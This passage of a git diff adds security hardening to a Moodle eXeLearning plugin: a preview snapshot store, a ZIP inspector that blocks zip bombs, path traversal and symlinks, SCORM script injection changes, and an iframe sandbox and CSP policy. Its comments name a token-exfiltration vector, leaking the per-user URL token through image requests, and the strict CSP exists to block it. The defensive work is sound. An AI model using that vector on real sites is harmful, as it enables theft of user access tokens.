+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use ZipArchive;
+
+/**
+ * File-backed store for opaque editor-preview snapshots.
+ *
+ * The editor sends the WHOLE project as one ZIP on every opaque refresh and gets
+ * back an unguessable capability id; preview.php then serves that tree without a
+ * session. This replaces the layered protocol-v2 store (immutable asset keys,
+ * incremental revisions, fixed installation resources): the editor no longer
+ * speaks that protocol, and a full snapshot removes the machinery that existed
+ * only to avoid re-uploading unchanged bytes.
+ *
+ * PHP is request-scoped and the authless GETs that serve a snapshot carry no
+ * session, so the capability must live on disk:
+ *
+ *   {previewId}/
+ *     meta.json    ownerUserId, cmid
+ *     access       empty marker; its mtime is the idle-TTL clock
+ *     content/     the extracted snapshot
+ *
+ * The content lives in its own subdirectory so no author path can ever collide
+ * with the store's own files — there are no reserved names to police.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+final class snapshot_store {
+    /** @var int Idle lifetime; a snapshot untouched for this long is reclaimed. */
+    const TTL_SECONDS = 1800;
+
+    /** @var int Default cap on entries in one snapshot. */
+    const DEFAULT_MAX_FILES = 10000;
+
+    /** @var int Default cap on total uncompressed bytes in one snapshot. */
+    const DEFAULT_MAX_BYTES = 1073741824;
+
+    /** @var string|null Storage root override, tests only. */
+    private static $rootoverride = null;
+
+    /** @var array<string,int> Limit overrides, tests only. */
+    private static $limitoverrides = [];
+
+    /**
+     * Point the store at a scratch directory.
+     *
+     * @param string $dir Absolute directory path.
+     * @return void
+     */
+    public static function set_root_for_testing(string $dir): void {
+        self::$rootoverride = $dir;
+    }
+
+    /**
+     * Restore the real storage root.
+     *
+     * @return void
+     */
+    public static function reset_root_for_testing(): void {
+        self::$rootoverride = null;
+    }
+
+    /**
+     * Shrink the limits so a test can trip them without building a huge ZIP.
+     *
+     * @param array $overrides Keys 'maxfiles' and/or 'maxbytes'.
+     * @return void
+     */
+    public static function set_limits_for_testing(array $overrides): void {
+        self::$limitoverrides = $overrides;
+    }
+
+    /**
+     * Restore the real limits.
+     *
+     * @return void
+     */
+    public static function reset_limits_for_testing(): void {
+        self::$limitoverrides = [];
+    }
+
+    /**
+     * The active snapshot limits.
+     *
+     * Admins can raise them for large projects; a non-positive value falls back
+     * to the default, so the guard cannot be switched off.
+     *
+     * @return array{maxfiles:int,maxbytes:int}
+     */
+    public static function limits(): array {
+        $maxfiles = (int) get_config('mod_exelearning', 'previewmaxfiles');
+        $maxbytes = (int) get_config('mod_exelearning', 'previewmaxbytes');
+        return [
+            'maxfiles' => self::$limitoverrides['maxfiles'] ?? ($maxfiles > 0 ? $maxfiles : self::DEFAULT_MAX_FILES),
+            'maxbytes' => self::$limitoverrides['maxbytes'] ?? ($maxbytes > 0 ? $maxbytes : self::DEFAULT_MAX_BYTES),
+        ];
+    }
+
+    /**
+     * Create or atomically replace a snapshot.
+     *
+     * Everything is built beside the live tree and swapped in at the end, so a
+     * reader sees either the previous snapshot or the new one, never a partial
+     * extraction, and a failure anywhere leaves the live one untouched.
+     *
+     * @param int         $owneruserid Authoring user.
+     * @param int         $cmid        Course module the snapshot belongs to.
+     * @param string      $zippath     Uploaded ZIP pathname.
+     * @param string|null $previewid   Existing capability when replacing.
+     * @return array{previewid:string}|array{error:string} Capability id, or an error code.
+     */
+    public static function replace(int $owneruserid, int $cmid, string $zippath, ?string $previewid = null) {
+        self::sweep_expired();
+        $id = $previewid !== null && $previewid !== '' ? $previewid : self::generate_id();
+        $authorized = self::authorize($id, $owneruserid, $cmid, $previewid);
+        if ($authorized !== true) {
+            return ['error' => $authorized];
+        }
+        $staging = self::stage($owneruserid, $cmid, $zippath);
+        if (!is_array($staging) || !isset($staging['dir'])) {
+            return $staging;
+        }
+        $published = self::publish($staging['dir'], self::root() . '/' . $id);
+        if ($published !== true) {
+            return ['error' => $published];
+        }
+        return ['previewid' => $id];
+    }
+
+    /**
+     * Decide whether this caller may write to a capability.
+     *
+     * Replacing demands an existing snapshot owned by the same user AND bound to
+     * the same course module; a fresh capability has no metadata to match yet.
+     *
+     * Both management verbs run through here so publish and delete can never
+     * disagree about what owner scoping means: a malformed id is
+     * `invalidpreviewid`, one nobody holds is `missingpreview` and somebody
+     * else's is `previewforbidden`. The endpoint maps those to statuses once.
+     *
+     * @param string      $id          Capability id.
+     * @param int         $owneruserid Authoring user.
+     * @param int         $cmid        Course module id.
+     * @param string|null $previewid   Existing capability when replacing.
+     * @return bool|string True, or an error code.
+     */
+    public static function authorize(string $id, int $owneruserid, int $cmid, ?string $previewid) {
+        if (!preg_match(serving::UUID_RE, $id)) {
+            return 'invalidpreviewid';
+        }
+        $meta = self::metadata($id);
+        if ($previewid !== null && $previewid !== '' && $meta === null) {
+            return 'missingpreview';
+        }
+        if (
+            $meta !== null
+                && ((int) $meta['ownerUserId'] !== $owneruserid || (int) $meta['cmid'] !== $cmid)
+        ) {
+            return 'previewforbidden';
+        }
+        return true;
+    }
+
+    /**
+     * Extract a snapshot and write its metadata into a private staging directory.
+     *
+     * The staging directory is removed on any failure, so a rejected upload
+     * leaves nothing behind.
+     *
+     * @param int    $owneruserid Authoring user.
+     * @param int    $cmid        Course module id.
+     * @param string $zippath     Uploaded ZIP pathname.
+     * @return array{dir:string}|array{error:string}
+     */
+    private static function stage(int $owneruserid, int $cmid, string $zippath) {
+        $staging = self::root() . '/.staging-' . bin2hex(random_bytes(12));
+        if (!make_writable_directory($staging . '/content', false)) {
+            return ['error' => 'previewstorage'];
+        }
+        $extracted = self::extract($zippath, $staging . '/content');
+        if ($extracted !== true) {
+            remove_dir($staging);
+            return ['error' => $extracted];
+        }
+        $meta = json_encode(['ownerUserId' => $owneruserid, 'cmid' => $cmid]);
+        if (
+            file_put_contents($staging . '/meta.json', $meta) === false
+                || !touch($staging . '/access')
+        ) {
+            remove_dir($staging);
+            return ['error' => 'previewstorage'];
+        }
+        return ['dir' => $staging];
+    }
+
+    /**
+     * Swap a staged snapshot into place, keeping the previous one until it lands.
+     *
+     * @param string $staging Staging directory pathname.
+     * @param string $target  Final snapshot directory pathname.
+     * @return bool|string True, or an error code.
+     */
+    private static function publish(string $staging, string $target) {
+        $backup = $target . '.old-' . bin2hex(random_bytes(6));
+        if (is_dir($target) && !rename($target, $backup)) {
+            remove_dir($staging);
+            return 'previewstorage';
+        }
+        if (!rename($staging, $target)) {
+            if (is_dir($backup)) {
+                rename($backup, $target);
+            }
+            remove_dir($staging);
+            return 'previewstorage';
+        }
+        if (is_dir($backup)) {
+            remove_dir($backup);
+        }
+        return true;
+    }
+
+    /**
+     * Validate and extract a ZIP into a directory.
+     *
+     * @param string $zippath Uploaded ZIP pathname.
+     * @param string $target  Destination directory.
+     * @return bool|string True, or an error code.
+     */
+    private static function extract(string $zippath, string $target) {
+        $zip = new ZipArchive();
+        if ($zip->open($zippath) !== true) {
+            return 'invalidpreviewzip';
+        }
+        $inspected = zip_inspector::inspect($zip, self::limits());
+        if ($inspected !== true) {
+            $zip->close();
+            return $inspected;
+        }
+        if (!$zip->extractTo($target)) {
+            $zip->close();
+            return 'previewstorage';
+        }
+        $zip->close();
+        return true;
+    }
+
+    /**
+     * Resolve a snapshot for an authless serving request and refresh its idle clock.
+     *
+     * @param string $previewid Capability id.
+     * @return string|null Absolute content directory, or null when unknown or expired.
+     */
+    public static function get_content_dir(string $previewid): ?string {
+        if (!preg_match(serving::UUID_RE, $previewid)) {
+            return null;
+        }
+        $dir = self::root() . '/' . $previewid;
+        $access = $dir . '/access';
+        $touched = @filemtime($access);
+        if ($touched === false || time() - $touched > self::TTL_SECONDS) {
+            return null;
+        }
+        // Refresh the idle clock: an in-use preview must not expire under the author.
+        @touch($access);
+        return is_dir($dir . '/content') ? $dir . '/content' : null;
+    }
+
+    /**
+     * Delete a snapshot after {@see authorize()} has cleared the caller.
+     *
+     * @param string $previewid   Capability id.
+     * @param int    $owneruserid Authoring user.
+     * @param int    $cmid        Course module id.
+     * @return bool|string True once it is gone, or an authorize() error code.
+     */
+    public static function delete_owned(string $previewid, int $owneruserid, int $cmid) {
+        $authorized = self::authorize($previewid, $owneruserid, $cmid, $previewid);
+        if ($authorized !== true) {
+            return $authorized;
+        }
+        remove_dir(self::root() . '/' . $previewid);
+        return true;
+    }
+
+    /**
+     * Reclaim snapshots whose idle lifetime has elapsed.
+     *
+     * Cron is traffic-dependent, so this also runs opportunistically on every
+     * replace: the store never depends on a scheduled task to bound its size.
+     *
+     * @return int Number of snapshots removed.
+     */
+    public static function sweep_expired(): int {
+        $root = self::root();
+        $count = 0;
+        $entries = is_dir($root) ? scandir($root) : false;
+        foreach ($entries ?: [] as $id) {
+            if (!preg_match(serving::UUID_RE, $id)) {
+                continue;
+            }
+            $touched = @filemtime($root . '/' . $id . '/access');
+            if ($touched === false || time() - $touched > self::TTL_SECONDS) {
+                remove_dir($root . '/' . $id);
+                $count++;
+            }
+        }
+        return $count;
+    }
+
+    /**
+     * Read a snapshot's ownership record.
+     *
+     * @param string $previewid Capability id.
+     * @return array{ownerUserId:int,cmid:int}|null
+     */
+    private static function metadata(string $previewid): ?array {
+        $path = self::root() . '/' . $previewid . '/meta.json';
+        $raw = is_readable($path) ? file_get_contents($path) : false;
+        if ($raw === false) {
+            return null;
+        }
+        $decoded = json_decode($raw, true);
+        if (!is_array($decoded) || !isset($decoded['ownerUserId'], $decoded['cmid'])) {
+            return null;
+        }
+        return $decoded;
+    }
+
+    /**
+     * Mint an unguessable capability id.
+     *
+     * @return string
+     */
+    private static function generate_id(): string {
+        $bytes = random_bytes(16);
+        $bytes[6] = chr((ord($bytes[6]) & 0x0f) | 0x40);
+        $bytes[8] = chr((ord($bytes[8]) & 0x3f) | 0x80);
+        return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($bytes), 4));
+    }
+
+    /**
+     * Ensure the storage root exists and return it.
+     *
+     * @return string
+     */
+    private static function root(): string {
+        if (self::$rootoverride !== null) {
+            return self::$rootoverride;
+        }
+        return make_temp_directory('mod_exelearning/preview-snapshots');
+    }
+}
diff --git a/classes/local/preview/zip_inspector.php b/classes/local/preview/zip_inspector.php
new file mode 100644
index 0000000..ed5d250
--- /dev/null
+++ b/classes/local/preview/zip_inspector.php
@@ -0,0 +1,119 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use ZipArchive;
+
+/**
+ * Decides whether an uploaded preview ZIP is safe to extract.
+ *
+ * Kept apart from the store on purpose: the store's job is to swap a tree into
+ * place atomically, this one's is to refuse an archive before a single byte
+ * reaches the disk. These rules are the trust boundary for untrusted author
+ * content, so they are worth reading in one place.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+final class zip_inspector {
+    /**
+     * Vet every entry of an open ZIP before extraction.
+     *
+     * The whole archive is checked up front on purpose: extractTo() is all or
+     * nothing, so a limit only noticed halfway through would leave a partially
+     * written tree behind. Sizes come from the declared *uncompressed* size,
+     * which is what a zip bomb inflates to.
+     *
+     * @param ZipArchive $zip    Open archive.
+     * @param array $limits Active limits, keys maxfiles and maxbytes.
+     * @return bool|string True when safe to extract, otherwise an error code.
+     */
+    public static function inspect(ZipArchive $zip, array $limits) {
+        if ($zip->numFiles > $limits['maxfiles']) {
+            return 'previewtoomanyfiles';
+        }
+        $total = 0;
+        $hasindex = false;
+        for ($index = 0; $index < $zip->numFiles; $index++) {
+            $entry = self::inspect_entry($zip, $index);
+            if (is_string($entry)) {
+                return $entry;
+            }
+            if ($entry === null) {
+                continue;
+            }
+            $total += $entry['size'];
+            if ($total > $limits['maxbytes']) {
+                return 'previewtoolarge';
+            }
+            $hasindex = $hasindex || $entry['name'] === 'index.html';
+        }
+        if (!$hasindex) {
+            return 'previewmissingindex';
+        }
+        return true;
+    }
+
+    /**
+     * Vet a single ZIP entry.
+     *
+     * @param ZipArchive $zip   Open archive.
+     * @param int        $index Entry index.
+     * @return array{name:string,size:int}|null|string Entry data, null for a
+     *                                                 directory, error code when unsafe.
+     */
+    private static function inspect_entry(ZipArchive $zip, int $index) {
+        $name = $zip->getNameIndex($index);
+        $stat = $zip->statIndex($index);
+        if (!is_string($name) || !is_array($stat)) {
+            return 'invalidpreviewpath';
+        }
+        $isdir = substr($name, -1) === '/';
+        $candidate = $isdir ? rtrim($name, '/') : $name;
+        // Same path guard the serving side applies, so an entry that could not be
+        // requested back can never be written in the first place.
+        if ($candidate === '' || serving::normalize_content_path($candidate) !== $candidate) {
+            return 'invalidpreviewpath';
+        }
+        if ($isdir) {
+            return null;
+        }
+        if (self::is_symlink_entry($zip, $index)) {
+            return 'invalidpreviewpath';
+        }
+        return ['name' => $name, 'size' => (int) ($stat['size'] ?? 0)];
+    }
+
+    /**
+     * Whether an entry is a Unix symbolic link.
+     *
+     * A link is stored as a tiny entry whose contents are the target path, so it
+     * passes the size and path checks while pointing anywhere on the filesystem.
+     *
+     * @param ZipArchive $zip   Open archive.
+     * @param int        $index Entry index.
+     * @return bool
+     */
+    private static function is_symlink_entry(ZipArchive $zip, int $index): bool {
+        $opsys = 0;
+        $attributes = 0;
+        return $zip->getExternalAttributesIndex($index, $opsys, $attributes)
+            && $opsys === ZipArchive::OPSYS_UNIX
+            && (($attributes >> 16) & 0xf000) === 0xa000;
+    }
+}
diff --git a/classes/local/scorm/scorm_injector.php b/classes/local/scorm/scorm_injector.php
index 3dda3ba..766e094 100644
--- a/classes/local/scorm/scorm_injector.php
+++ b/classes/local/scorm/scorm_injector.php
@@ -33,15 +33,24 @@
  */
 final class scorm_injector {
     /**
-     * Injects SCORM wrapper script tags into the <head> of index.html and all
+     * Injects the SCORM client script tags into the <head> of index.html and all
      * html/<slug>.html pages of the extracted package.
      *
+     * Two independent, idempotent blocks are injected:
+     *  - The bridge client (libs/scorm_tracker.js + libs/exe_scorm_bridge.js) at the
+     *    TOP of <head>, so its in-memory storage polyfill and local window.API are in
+     *    place before any package script runs. It self-activates only in the secure
+     *    opaque-origin iframe mode and is dormant otherwise (DEC-80-01).
+     *  - The pipwerks SCORM wrapper (libs/SCORM_API_wrapper.js + libs/SCOFunctions.js)
+     *    plus an init kick, just before </head>, used by both iframe modes.
+     *
      * @param int $contextid
      * @param int $revision
      */
     public static function inject(int $contextid, int $revision): void {
         $fs = get_file_storage();
         $marker = '<!-- mod_exelearning:scorm-loader -->';
+        $bridgemarker = '<!-- mod_exelearning:scorm-bridge -->';
         // After loading the wrapper, force `pipwerks.SCORM.init()` so that
         // connection.isActive=true and subsequent `set()` calls DO reach
         // window.parent.API.LMSSetValue. eXeLearning only invokes init() in the
@@ -57,14 +66,7 @@ public static function inject(int $contextid, int $revision): void {
                 "        }, 50);\n" .
                 "      })();\n" .
                 "    </script>\n";
-        $tags = $marker .
-                "\n    <script src=\"libs/SCORM_API_wrapper.js\"></script>" .
-                "\n    <script src=\"libs/SCOFunctions.js\"></script>" .
-                $initscript;
-        $tagshtml = $marker .
-                "\n    <script src=\"../libs/SCORM_API_wrapper.js\"></script>" .
-                "\n    <script src=\"../libs/SCOFunctions.js\"></script>" .
-                $initscript;
+        $embedmarker = '<!-- mod_exelearning:embed-shim -->';
 
         // Iterate over all HTML files in the filearea.
         $files = $fs->get_area_files(
@@ -84,14 +86,55 @@ public static function inject(int $contextid, int $revision): void {
                 continue;
             }
             $html = $file->get_content();
-            if ($html === '' || strpos($html, $marker) !== false) {
+            if ($html === '') {
                 continue;
             }
+            // Relative prefix to the package's libs/ dir: root pages use 'libs/', nested
+            // html/<slug>.html pages climb one level with '../libs/'.
             $path = $file->get_filepath();
-            $payload = ($path === '/') ? $tags : $tagshtml;
-            // Insert just before </head> (case-insensitive).
-            $newhtml = preg_replace('~</head>~i', $payload . '</head>', $html, 1);
-            if ($newhtml === null || $newhtml === $html) {
+            $libs = ($path === '/') ? 'libs/' : '../libs/';
+            $newhtml = $html;
+            $changed = false;
+
+            // Script payloads, built once per file from $libs. The bridge client
+            // (scorm_tracker.js before exe_scorm_bridge.js: the shim calls
+            // window.exeScormTracker.createScormApi) and the external-embed shim both go
+            // at the TOP of <head>; the pipwerks SCORM wrapper + init kick go just before
+            // </head>. No host list is baked for the embed shim: it promotes any candidate
+            // and the parent relay is the authoritative gate (open vs strict, DEC-80-03).
+            $bridge = $bridgemarker .
+                    "\n    <script src=\"{$libs}scorm_tracker.js\"></script>" .
+                    "\n    <script src=\"{$libs}exe_scorm_bridge.js\"></script>\n";
+            $embed = $embedmarker .
+                    "\n    <script src=\"{$libs}exe_embed_shim.js\"></script>\n";
+            $scorm = $marker .
+                    "\n    <script src=\"{$libs}SCORM_API_wrapper.js\"></script>" .
+                    "\n    <script src=\"{$libs}SCOFunctions.js\"></script>" .
+                    $initscript;
+
+            // Idempotent <head> insertions, applied in order so each one matches against
+            // the HTML already modified by the previous (e.g. the embed insert sees the
+            // bridge-modified <head>). Each fires at most once, guarded by its own marker.
+            // Entry = [marker, payload, anchor regex, top?]: top appends the payload AFTER
+            // the matched <head> tag, otherwise it is prepended BEFORE the matched </head>.
+            $inserts = [
+                [$bridgemarker, $bridge, '~<head[^>]*>~i', true],
+                [$embedmarker, $embed, '~<head[^>]*>~i', true],
+                [$marker, $scorm, '~</head>~i', false],
+            ];
+            foreach ($inserts as [$mk, $payload, $regex, $top]) {
+                if (strpos($newhtml, $mk) !== false) {
+                    continue;
+                }
+                $replacement = $top ? '$0' . $payload : $payload . '$0';
+                $replaced = preg_replace($regex, $replacement, $newhtml, 1);
+                if ($replaced !== null && $replaced !== $newhtml) {
+                    $newhtml = $replaced;
+                    $changed = true;
+                }
+            }
+
+            if (!$changed) {
                 continue;
             }
             // Replace content in the filearea: delete and recreate.
diff --git a/classes/local/ui/player_iframe.php b/classes/local/ui/player_iframe.php
new file mode 100644
index 0000000..ac6c896
--- /dev/null
+++ b/classes/local/ui/player_iframe.php
@@ -0,0 +1,294 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Package iframe security mode and sandbox policy (DEC-80-01).
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+namespace mod_exelearning\local\ui;
+
+/**
+ * Centralises the package iframe sandbox policy, CSP and headers (DEC-80-01).
+ *
+ * The arbitrary author HTML/JS of an `.elpx` package is always embedded in view.php in a
+ * sandboxed, opaque-origin iframe: the iframe drops allow-same-origin, so the package runs
+ * in an opaque origin and cannot read or modify Moodle's DOM, cookies or session. SCORM
+ * scoring is relayed to the parent over a validated postMessage bridge
+ * (js/scorm_bridge_shim.js in the iframe, js/scorm_bridge_relay.js in the parent), and the
+ * parent keeps the sesskey and performs the track.php request. The historical same-origin
+ * "legacy" mode is no longer a production setting; it survives only as a dev-only escape hatch
+ * (the EXELEARNING_UNSAFE_LEGACY_IFRAME constant) for environments whose service worker cannot
+ * serve an opaque subframe (the php-wasm Moodle Playground), and defaults off.
+ *
+ * Centralised here so the policy is unit-testable without rendering view.php.
+ * See research ADR DEC-80-01 (advances the Tier 2 roadmap of DEC-0-16).
+ */
+final class player_iframe {
+    /** @var string Secure mode: opaque-origin iframe + postMessage SCORM bridge (the production mode). */
+    public const MODE_SECURE = 'secure';
+
+    /**
+     * Legacy mode: same-origin iframe. NOT a production mode — reachable only through the dev-only
+     * EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch, for environments whose service worker cannot
+     * serve an opaque subframe (the php-wasm Moodle Playground).
+     *
+     * @var string
+     */
+    public const MODE_LEGACY = 'legacy';
+
+    /** @var string Open embeds: promote any cross-origin https iframe (DEC-80-03). */
+    public const EMBED_OPEN = 'open';
+
+    /** @var string Strict embeds: only the maintained host allowlist (the default). */
+    public const EMBED_STRICT = 'strict';
+
+    /** @var string Strict CSP profile (default): no bare https: token-exfiltration channels. */
+    public const CSP_STRICT = 'strict';
+
+    /** @var string Compatible CSP profile: allows https: img/media/script for external assets. */
+    public const CSP_COMPATIBLE = 'compatible';
+
+    /**
+     * Default host whitelist for external video embeds promoted to the parent page.
+     *
+     * In secure mode the package is opaque, so cross-origin players (YouTube/Vimeo)
+     * load blank. Iframes whose src host is on this list are replaced by a placeholder
+     * in the package (js/exe_embed_shim.js) and rendered as a real player by the parent
+     * (js/exe_embed_relay.js). PDFs are handled separately (by .pdf extension) and need
+     * no host entry.
+     *
+     * @var string[]
+     */
+    public const DEFAULT_EMBED_HOSTS = [
+        'www.youtube.com',
+        'youtube.com',
+        'www.youtube-nocookie.com',
+        'youtube-nocookie.com',
+        'player.vimeo.com',
+        'vimeo.com',
+        'www.dailymotion.com',
+        'dailymotion.com',
+        'geo.dailymotion.com',
+        'mediateca.educa.madrid.org',
+    ];
+
+    /**
+     * The package iframe mode. Secure (opaque origin) in production; the same-origin legacy mode is
+     * reachable only through the dev-only EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch, which
+     * defaults off and is never exposed as a Moodle setting.
+     *
+     * @return string self::MODE_SECURE, or self::MODE_LEGACY when the escape hatch is enabled.
+     */
+    public static function resolve_mode(): string {
+        return self::is_unsafe_legacy() ? self::MODE_LEGACY : self::MODE_SECURE;
+    }
+
+    /**
+     * Whether the dev-only same-origin escape hatch is enabled. Never a Moodle setting: it is the
+     * EXELEARNING_UNSAFE_LEGACY_IFRAME PHP constant (defined in config.php) or the env var of the
+     * same name, intended only for environments whose service worker cannot serve an opaque
+     * subframe (the php-wasm Moodle Playground). Defaults off.
+     *
+     * @return bool True when the constant or env var is set and truthy.
+     */
+    public static function is_unsafe_legacy(): bool {
+        if (defined('EXELEARNING_UNSAFE_LEGACY_IFRAME')) {
+            return (bool) constant('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        }
+        $env = getenv('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        return $env !== false && filter_var($env, FILTER_VALIDATE_BOOLEAN);
+    }
+
+    /**
+     * Whether the configured mode isolates the package (opaque origin + bridge).
+     *
+     * @return bool True in secure mode.
+     */
+    public static function is_secure(): bool {
+        return self::resolve_mode() === self::MODE_SECURE;
+    }
+
+    /**
+     * Sandbox token list for the (always opaque) package iframe.
+     *
+     * Deliberately OMITS allow-same-origin (forcing an opaque origin so the package cannot
+     * reach Moodle's DOM/cookies/session), allow-top-navigation (a package must never change
+     * the parent URL), allow-modals (alert/confirm/prompt UX traps) and
+     * allow-popups-to-escape-sandbox (an escaped popup would reopen at Moodle's real origin
+     * without the sandbox). allow-scripts/allow-popups/allow-forms are kept because
+     * eXeLearning v4 iDevices need jQuery + scripts, popups (interactive-video, hidden-image)
+     * and forms (quick-questions, form, scrambled-list). See ADR DEC-80-01 / DEC-0-16 / AN-008.
+     *
+     * @return string Space-separated sandbox token list.
+     */
+    public static function sandbox_tokens(): string {
+        if (!self::is_secure()) {
+            // Dev-only escape hatch: same-origin so a service worker that only serves same-origin
+            // documents (the php-wasm Playground) can load the package CSS/JS. Never used in production.
+            return 'allow-same-origin allow-scripts allow-popups allow-forms';
+        }
+        return 'allow-scripts allow-popups allow-forms';
+    }
+
+    /**
+     * Resolve the external-embed policy (DEC-80-03). Default 'strict' restricts promotion to
+     * the maintained provider allowlist with canonical URL reconstruction; 'open' is an
+     * explicit opt-in that promotes any cross-origin https iframe (the player is sandboxed +
+     * cross-origin, so SOP isolates it from Moodle). Any unset or unrecognised value fails
+     * safe to 'strict' (toward the more restrictive policy).
+     *
+     * @return string self::EMBED_OPEN or self::EMBED_STRICT.
+     */
+    public static function embed_mode(): string {
+        $value = get_config('mod_exelearning', 'embedmode');
+        return ($value === self::EMBED_OPEN) ? self::EMBED_OPEN : self::EMBED_STRICT;
+    }
+
+    /**
+     * Resolve the content CSP profile. 'strict' (default) blocks bare https: exfiltration
+     * channels (the per-user file token lives in the URL, so open img/media/script would let
+     * author JS leak it). 'compatible' re-opens img/media/script to https: for content that
+     * loads external author assets (third-party images, a MathJax CDN) — documented weaker.
+     * Any unset or unrecognised value fails safe to 'strict'.
+     *
+     * @return string self::CSP_STRICT or self::CSP_COMPATIBLE.
+     */
+    public static function csp_profile(): string {
+        $value = get_config('mod_exelearning', 'cspprofile');
+        return ($value === self::CSP_COMPATIBLE) ? self::CSP_COMPATIBLE : self::CSP_STRICT;
+    }
+
+    /**
+     * Normalized host whitelist for external video embeds (lowercase, de-duplicated).
+     * Only consulted by the relay in 'strict' mode.
+     *
+     * @return string[]
+     */
+    public static function embed_whitelist(): array {
+        $clean = [];
+        foreach (self::DEFAULT_EMBED_HOSTS as $host) {
+            $host = strtolower(trim((string) $host));
+            if ($host !== '') {
+                $clean[$host] = true;
+            }
+        }
+        return array_keys($clean);
+    }
+
+    /**
+     * Permissions-Policy header value for the embedded package (DEC-80-02).
+     *
+     * Denies hardware/sensor features the package never needs. `fullscreen` is
+     * intentionally NOT denied: the iframe grants it via its allow= attribute and
+     * iDevices use it. Emitted by exelearning_pluginfile() in secure mode.
+     *
+     * @return string The Permissions-Policy header value.
+     */
+    public static function permissions_policy(): string {
+        return 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), serial=(), '
+            . 'bluetooth=(), hid=(), magnetometer=(), accelerometer=(), gyroscope=(), '
+            . 'midi=(), display-capture=()';
+    }
+
+    /**
+     * Content-Security-Policy header value for the embedded package (DEC-80-02).
+     *
+     * Strict (default): object-src/base-uri closed, frame-ancestors 'self', connect-src
+     * limited to this site, and NO bare https: in script/img/media-src so the per-user file
+     * token in the URL cannot be exfiltrated (e.g. via new Image().src). frame-src is limited
+     * to the maintained providers. Compatible re-opens img/media/script (and frame-src) to
+     * https: for content with external author images or a MathJax CDN — documented weaker.
+     * The CSP-level `sandbox` keeps the document opaque even if the token URL is opened
+     * outside the iframe (a new tab), mirroring the iframe sandbox tokens.
+     *
+     * @param string $siteorigin The scheme://host[:port] origin of this Moodle site.
+     * @param string|null $profile self::CSP_STRICT/CSP_COMPATIBLE, or null to use csp_profile().
+     * @return string The Content-Security-Policy header value.
+     */
+    public static function content_security_policy(string $siteorigin, ?string $profile = null): string {
+        $profile = ($profile === self::CSP_COMPATIBLE || $profile === self::CSP_STRICT)
+            ? $profile
+            : self::csp_profile();
+        if ($profile === self::CSP_COMPATIBLE) {
+            $scriptsrc = "script-src 'self' $siteorigin 'unsafe-inline' 'unsafe-eval' https:; ";
+            $imgsrc = "img-src 'self' $siteorigin data: blob: https:; ";
+            $mediasrc = "media-src 'self' $siteorigin data: blob: https:; ";
+            $framesrc = "frame-src 'self' $siteorigin https:; ";
+        } else {
+            $providers = 'https://www.youtube-nocookie.com https://player.vimeo.com '
+                . 'https://www.dailymotion.com https://mediateca.educa.madrid.org';
+            $scriptsrc = "script-src 'self' $siteorigin 'unsafe-inline' 'unsafe-eval'; ";
+            $imgsrc = "img-src 'self' $siteorigin data: blob:; ";
+            $mediasrc = "media-src 'self' $siteorigin data: blob:; ";
+            $framesrc = "frame-src 'self' $siteorigin $providers; ";
+        }
+        $policy = "default-src 'self' $siteorigin; "
+            . $scriptsrc
+            . "style-src 'self' $siteorigin 'unsafe-inline'; "
+            . $imgsrc
+            . $mediasrc
+            . "font-src 'self' $siteorigin data:; "
+            . "connect-src 'self' $siteorigin; "
+            . $framesrc
+            . "object-src 'none'; base-uri 'none'; form-action 'self' $siteorigin; "
+            . "frame-ancestors 'self'";
+        // The CSP-level `sandbox` keeps the document opaque even if its URL is opened outside the
+        // iframe. Omit it under the dev-only legacy escape hatch (the php-wasm Playground), which
+        // needs same-origin rendering; the iframe sandbox attribute is relaxed in lockstep.
+        if (self::is_secure()) {
+            $policy .= "; sandbox allow-scripts allow-popups allow-forms";
+        }
+        return $policy;
+    }
+
+    /**
+     * Defense-in-depth response headers for a served package file (DEC-80-02).
+     *
+     * In secure mode EVERY served file gets Referrer-Policy: no-referrer and
+     * X-Content-Type-Options: nosniff. The per-user file token lives in the URL path, so
+     * even a CSS/JS subresource that pulls a cross-origin image must not leak it via the
+     * Referer header; and nosniff forces each file to be interpreted by its declared
+     * Content-Type, so a package cannot smuggle executable HTML behind, e.g., a .pdf path
+     * (the promoted PDF player is unsandboxed). The document-level Content-Security-Policy
+     * and Permissions-Policy are added only for an HTML document (subresources ignore
